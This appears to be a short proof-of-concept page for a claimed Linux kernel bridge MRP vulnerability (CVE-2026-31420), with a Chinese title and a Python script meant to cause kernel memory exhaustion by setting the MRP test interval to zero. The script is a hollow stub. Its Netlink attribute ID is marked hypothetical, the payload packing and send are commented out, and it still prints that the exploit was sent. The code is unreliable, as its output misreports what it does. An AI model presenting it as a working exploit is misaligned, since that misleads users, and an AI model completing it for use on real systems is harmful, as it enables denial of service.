CVE-2026-31420 Linux内核MRP零间隔OOM漏洞

# PoC for CVE-2026-31420 # This script demonstrates triggering the vulnerability by setting the MRP test interval to 0. # Requires a configured bridge interface and MRP support. import socket import struct import ctypes # Define Netlink constants NETLINK_ROUTE = 0 IFLA_BRIDGE_MRP_START_TEST_INTERVAL = 50 # Hypothetical attribute ID based on context # Create a Netlink socket sock = socket.socket(socket.AF_NETLINK, socket.SOCK_RAW, NETLINK_ROUTE) sock.bind((0, 0)) # Construct a netlink message to set MRP interval to 0 # Structure: nlmsghdr + ifinfomsg + attributes # This is a simplified representation of the exploit logic. def send_exploit(): # Payload format: [Netlink Header] [Interface Info] [MRP Attribute: Interval=0] # Setting interval to 0 bypasses the missing NLA_POLICY_MIN check interval = 0 print(f"[*] Sending payload with IFLA_BRIDGE_MRP_START_TEST_INTERVAL = {interval}") # In a real scenario, specific struct packing for rtattr is required # payload = pack_netlink_message(...) # sock.send(payload) print("[+] Exploit sent. If vulnerable, kernel OOM should occur shortly.") if __name__ == "__main__": send_exploit()